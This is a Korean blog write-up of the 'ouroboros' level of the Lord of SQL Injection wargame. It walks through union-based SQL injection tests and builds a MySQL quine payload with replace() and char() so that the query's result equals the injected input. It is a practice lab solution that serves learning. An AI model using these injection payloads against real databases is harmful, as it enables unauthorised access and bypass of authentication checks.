Ouroborus. 아래 내가 그림판으로 그린 작품처럼 생겼다. "꼬리를 삼키는 자"로 통한다고 한다. 과연 이번에는 무슨 문제일까.
코드를 보면 딱히 구체적인 필터링은 사용하고 있지 않다. 사용할 수 있는지는 모르겠지만, 풀려있는 무기들이 많다. 이후에 query 문의 where 부분이 참값이 될 경우, 화면에 'Pw : ...' 를 띄우는 것 같다. 우선 테스트를 몇개 해보자.
pw=' or 1%23
아무런 반응이 없다. table에 아무런 데이터가 존재하지 않는 것 같다. 지난번에도 table에 데이터가 존재하지 않았던 문제가 있었다. 이때는 union 을 통하여 데이터를 새롭게 전달해주어야 한다.
pw=' union select 1%23
우선은 출력을 하는 데에 성공하였다. 하지만 문제가 하나 더 발생한다. 마지막에 solve() 함수를 실행시키기 위한 조건문에서 일반적인 '=='이 아닌 '==='을 사용하고 있다. '==='은 단순한 값이 아닌 값의 형식까지 비교한다. 테이블에는 데이터도 없으며 형식을 맞추기 위해서는 $result, 즉 query 문의 결과와 GET 방식으로 전달하는 값이 동일해야 한다.
여기서 잠깐 이 문제의 이름을 보자. 아까 꼬리를 삼키는 자라고 했다. 형식과 값까지 모두 같으려면 GET 방식으로 전달한 query 문 자체가 그대로 결과값으로 반환되어야 한다.
Quine 이라는 것이 있다. Quine 이라는 것은 사용자의 특수한 행위, 예를 들어 입력같은 것들 없이 자기 자신의 소스코드를 출력하는 프로그램이다. Quine 프로그램은 언어마다 작성할 수 있는데, MySQL 문법에서도 존재한다.
MySQL 에서의 Quine 예시는 다음과 같다. 이번 문제의 payload 이다.
select pw from test where pw='a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as Quine',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as Quine') as Quine;
실제로 위의 payload 를 test 환경에서 돌려보면 아래와 같이 반환되는 것을 볼 수 있다.
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as Quine%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as Quine%23') as Quine%23
결과는 아래와 같다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - death (0) | 2021.10.02 |
---|---|
Lord of SQL Injection - cthulhu (1) | 2021.10.02 |
Lord of SQL Injection - alien (0) | 2021.10.02 |
Lord of SQL Injection - zombie (0) | 2021.10.02 |
Lord of SQL Injection - frankenstein (0) | 2021.09.01 |